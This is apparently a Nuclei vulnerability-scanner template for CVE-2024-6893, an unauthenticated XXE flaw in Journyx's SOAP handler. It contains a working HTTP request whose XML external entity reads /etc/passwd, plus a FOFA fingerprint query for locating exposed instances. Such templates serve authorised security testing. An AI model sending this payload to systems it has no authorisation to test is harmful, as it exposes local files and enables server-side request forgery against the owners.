id: CVE-2024-6893

info:
  name: Journyx - XML External Entities Injection (XXE)
  author: s4eio
  severity: high
  description: |
    The "soap_cgi.pyc" API handler allows the XML body of SOAP requests to contain references to external entities. This allows an unauthenticated attacker to read local files, perform server-side request forgery, and overwhelm the web server resources.
  reference:
    - https://securityforeveryone.com/tools/journyx-xxe-cve-2024-6893
    - https://korelogic.com/Resources/Advisories/KL-001-2024-010.txt
    - https://packetstormsecurity.com/files/180005/Journyx-11.5.4-XML-Injection.html
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-6893
    cwe-id: CWE-611
  metadata:
    max-request: 1
    vendor: journyx
    product: journyx-jtime
    fofa-query: icon_hash="-109972155"
  tags: cve,cve2024,journyx,xxe

variables:
  pass: "{{rand_text_alpha(5)}}"

http:
  - raw:
      - |
        POST /jtcgi/soap_cgi.pyc HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd">]><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><changeUserPassword><username>&test;</username><curpwd>{{pass}}</curpwd><newpwd>{{pass}}</newpwd></changeUserPassword></soapenv:Body></soapenv:Envelope>

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - 'invalid password for user'
        condition: and

      - type: word
        part: header
        words:
          - 'text/xml'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100ccfcc5493ee053e591017307e4fd5f8a6c02f7a2453eff36d699da148931a65702206bfcce7c41d4b2ce64ea1c795f61e368009d03fb9daf31dbe6a9fcbb8518444c:922c64590222798bb761d5b6d8e72950